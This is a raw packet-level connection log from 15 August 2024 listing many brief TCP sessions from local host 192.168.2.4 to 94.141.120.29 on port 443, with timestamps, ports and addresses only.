Aug 15, 2024 08:10:26.452399969 CEST	443	49854	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.459162951 CEST	49855	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.459243059 CEST	443	49855	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.459656954 CEST	49855	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.467052937 CEST	49855	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.467128038 CEST	443	49855	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.467164993 CEST	443	49855	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.476068974 CEST	49856	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.476110935 CEST	443	49856	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.476372004 CEST	49856	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.500128984 CEST	49856	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.500184059 CEST	443	49856	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.500225067 CEST	443	49856	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.523715973 CEST	49857	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.523837090 CEST	443	49857	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.524331093 CEST	49857	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.532618046 CEST	49857	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.532653093 CEST	443	49857	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.532685041 CEST	443	49857	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.648116112 CEST	49858	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.648149967 CEST	443	49858	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.648438931 CEST	49858	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.660495043 CEST	49858	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.660526991 CEST	443	49858	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.660554886 CEST	443	49858	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.756159067 CEST	49859	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.756203890 CEST	443	49859	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.756402969 CEST	49859	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.764417887 CEST	49859	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.764441013 CEST	443	49859	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.764467001 CEST	443	49859	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.841077089 CEST	49860	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.841165066 CEST	443	49860	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.841289043 CEST	49860	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.850385904 CEST	49860	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.850418091 CEST	443	49860	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.850455046 CEST	443	49860	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.866017103 CEST	49861	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.866069078 CEST	443	49861	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.866483927 CEST	49861	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.874675989 CEST	49861	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.874689102 CEST	443	49861	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.874713898 CEST	443	49861	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.884181023 CEST	49862	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.884188890 CEST	443	49862	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.884677887 CEST	49862	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.893666029 CEST	49862	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.893675089 CEST	443	49862	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.893701077 CEST	443	49862	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.913944960 CEST	49863	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.913980007 CEST	443	49863	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.914170027 CEST	49863	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.922542095 CEST	49863	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.922564030 CEST	443	49863	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.922593117 CEST	443	49863	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.943860054 CEST	49864	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.943881989 CEST	443	49864	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.944185019 CEST	49864	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.952850103 CEST	49864	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.952873945 CEST	443	49864	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.952902079 CEST	443	49864	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.960171938 CEST	49865	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.960211039 CEST	443	49865	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.960305929 CEST	49865	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.968316078 CEST	49865	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.968329906 CEST	443	49865	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.968350887 CEST	443	49865	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.975085974 CEST	49866	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.975095034 CEST	443	49866	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.975161076 CEST	49866	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.983998060 CEST	49866	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.984008074 CEST	443	49866	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.984030008 CEST	443	49866	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.990112066 CEST	49867	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.990134001 CEST	443	49867	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.990362883 CEST	49867	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.998893023 CEST	49867	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:26.998914957 CEST	443	49867	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:26.998941898 CEST	443	49867	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.055815935 CEST	49868	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.055845976 CEST	443	49868	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.055932999 CEST	49868	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.063604116 CEST	49868	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.063616037 CEST	443	49868	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.063637972 CEST	443	49868	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.084074020 CEST	49869	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.084101915 CEST	443	49869	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.084180117 CEST	49869	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.091953993 CEST	49869	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.091978073 CEST	443	49869	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.092005014 CEST	443	49869	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.099656105 CEST	49870	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.099673986 CEST	443	49870	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.099786043 CEST	49870	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.107395887 CEST	49870	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.107418060 CEST	443	49870	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.107451916 CEST	443	49870	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.115375042 CEST	49871	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.115453959 CEST	443	49871	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.115621090 CEST	49871	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.124295950 CEST	49871	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.124335051 CEST	443	49871	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.124351025 CEST	443	49871	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.131798029 CEST	49872	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.131830931 CEST	443	49872	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.131946087 CEST	49872	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.140259027 CEST	49872	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.140271902 CEST	443	49872	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.140292883 CEST	443	49872	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.147706032 CEST	49873	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.147726059 CEST	443	49873	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.147933960 CEST	49873	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.156095982 CEST	49873	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.156111002 CEST	443	49873	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.156131983 CEST	443	49873	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.162993908 CEST	49874	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.163012028 CEST	443	49874	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.163156986 CEST	49874	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.171530962 CEST	49874	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.171542883 CEST	443	49874	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.171561956 CEST	443	49874	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.241655111 CEST	49875	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.241683006 CEST	443	49875	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.241754055 CEST	49875	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.249798059 CEST	49875	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.249809027 CEST	443	49875	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.249835968 CEST	443	49875	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.256443024 CEST	49876	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.256472111 CEST	443	49876	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.256633043 CEST	49876	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.265202999 CEST	49876	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.265216112 CEST	443	49876	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.265240908 CEST	443	49876	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.272093058 CEST	49877	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.272105932 CEST	443	49877	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.272155046 CEST	49877	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.282335043 CEST	49877	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.282344103 CEST	443	49877	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.282371998 CEST	443	49877	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.350173950 CEST	49878	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.350183964 CEST	443	49878	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.350241899 CEST	49878	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.358820915 CEST	49878	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.358829975 CEST	443	49878	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.358850002 CEST	443	49878	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.365331888 CEST	49879	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.365353107 CEST	443	49879	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.365484953 CEST	49879	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.373611927 CEST	49879	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.373627901 CEST	443	49879	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.373646975 CEST	443	49879	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.381308079 CEST	49880	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.381325006 CEST	443	49880	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.381377935 CEST	49880	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.393954039 CEST	49880	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.393965960 CEST	443	49880	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.393990040 CEST	443	49880	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.415532112 CEST	49881	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.415539980 CEST	443	49881	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.415606022 CEST	49881	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.426652908 CEST	49881	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.426661968 CEST	443	49881	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.426683903 CEST	443	49881	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.444361925 CEST	49882	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.444370031 CEST	443	49882	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.444417953 CEST	49882	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.455538034 CEST	49882	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.455549002 CEST	443	49882	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.455574989 CEST	443	49882	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.475667953 CEST	49883	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.475687027 CEST	443	49883	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.475756884 CEST	49883	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.485378981 CEST	49883	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.485390902 CEST	443	49883	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.485413074 CEST	443	49883	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.514312983 CEST	49884	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.514338970 CEST	443	49884	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.514476061 CEST	49884	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.540555000 CEST	49884	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.540570021 CEST	443	49884	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.540599108 CEST	443	49884	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.558309078 CEST	49885	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.558341980 CEST	443	49885	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.558397055 CEST	49885	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.584723949 CEST	49885	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.584738016 CEST	443	49885	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.584759951 CEST	443	49885	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.648507118 CEST	49886	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.648535013 CEST	443	49886	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.648605108 CEST	49886	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.658976078 CEST	49886	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.658988953 CEST	443	49886	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.659012079 CEST	443	49886	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.710320950 CEST	49887	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.710347891 CEST	443	49887	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.710412025 CEST	49887	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.719779968 CEST	49887	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.719791889 CEST	443	49887	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.719815016 CEST	443	49887	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.772501945 CEST	49888	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.772587061 CEST	443	49888	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.772661924 CEST	49888	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.781147003 CEST	49888	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.781189919 CEST	443	49888	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.781220913 CEST	443	49888	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.785649061 CEST	49889	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.785768986 CEST	443	49889	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.785842896 CEST	49889	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.794095993 CEST	49889	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.794177055 CEST	443	49889	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.794214964 CEST	443	49889	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.834685087 CEST	49890	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.834762096 CEST	443	49890	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.834853888 CEST	49890	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.843579054 CEST	49890	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.843647957 CEST	443	49890	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.843684912 CEST	443	49890	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.850634098 CEST	49891	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.850712061 CEST	443	49891	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.850888968 CEST	49891	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.860214949 CEST	49891	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.860301018 CEST	443	49891	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.860348940 CEST	443	49891	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.873147011 CEST	49892	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.873228073 CEST	443	49892	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.873358011 CEST	49892	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.882498026 CEST	49892	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.882580996 CEST	443	49892	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.882641077 CEST	443	49892	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.912503004 CEST	49893	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.912581921 CEST	443	49893	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.912677050 CEST	49893	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.920936108 CEST	49893	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.921005964 CEST	443	49893	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.921042919 CEST	443	49893	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.943795919 CEST	49894	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.943881989 CEST	443	49894	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.943977118 CEST	49894	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.952246904 CEST	49894	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.952327013 CEST	443	49894	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.952363968 CEST	443	49894	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.991482973 CEST	49895	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:27.991563082 CEST	443	49895	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:27.991658926 CEST	49895	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.001044035 CEST	49895	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.001121998 CEST	443	49895	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.001161098 CEST	443	49895	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.021917105 CEST	49896	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.021996021 CEST	443	49896	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.022195101 CEST	49896	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.031121016 CEST	49896	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.031199932 CEST	443	49896	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.031236887 CEST	443	49896	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.054157972 CEST	49897	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.054236889 CEST	443	49897	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.054326057 CEST	49897	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.063658953 CEST	49897	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.063738108 CEST	443	49897	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.063776016 CEST	443	49897	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.088130951 CEST	49898	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.088212967 CEST	443	49898	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.088459969 CEST	49898	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.098095894 CEST	49898	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.098175049 CEST	443	49898	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.098212957 CEST	443	49898	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.115663052 CEST	49899	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.115776062 CEST	443	49899	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.115859032 CEST	49899	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.125452995 CEST	49899	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.125531912 CEST	443	49899	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.125571012 CEST	443	49899	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.146636009 CEST	49900	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.146716118 CEST	443	49900	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.146863937 CEST	49900	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.159254074 CEST	49900	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.159329891 CEST	443	49900	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.159368038 CEST	443	49900	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.178649902 CEST	49901	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.178730011 CEST	443	49901	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.179550886 CEST	49901	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.187926054 CEST	49901	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.188002110 CEST	443	49901	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.188024044 CEST	443	49901	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.217787981 CEST	49902	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.217866898 CEST	443	49902	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.221492052 CEST	49902	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.231865883 CEST	49902	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.231944084 CEST	443	49902	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.231990099 CEST	443	49902	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.238249063 CEST	49903	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.238329887 CEST	443	49903	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.238641024 CEST	49903	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.247468948 CEST	49903	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.247545958 CEST	443	49903	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.247582912 CEST	443	49903	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.271975994 CEST	49904	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.272058010 CEST	443	49904	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.272156954 CEST	49904	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.280772924 CEST	49904	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.280844927 CEST	443	49904	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.280883074 CEST	443	49904	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.303366899 CEST	49905	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.303447962 CEST	443	49905	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.303766012 CEST	49905	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.312019110 CEST	49905	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.312082052 CEST	443	49905	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.312155962 CEST	443	49905	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.335160971 CEST	49906	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.335238934 CEST	443	49906	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.335365057 CEST	49906	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.343537092 CEST	49906	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.343606949 CEST	443	49906	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.343667030 CEST	443	49906	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.365422010 CEST	49907	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.365516901 CEST	443	49907	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.365663052 CEST	49907	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.375287056 CEST	49907	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.375350952 CEST	443	49907	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.375372887 CEST	443	49907	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.380012035 CEST	49908	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.380090952 CEST	443	49908	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.380578995 CEST	49908	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.387836933 CEST	49908	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.387906075 CEST	443	49908	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.387944937 CEST	443	49908	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.397221088 CEST	49909	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.397300959 CEST	443	49909	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.397460938 CEST	49909	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.406150103 CEST	49909	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.406229019 CEST	443	49909	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.406250954 CEST	443	49909	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.428452969 CEST	49910	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.428563118 CEST	443	49910	94.141.120.29	192.168.2.4
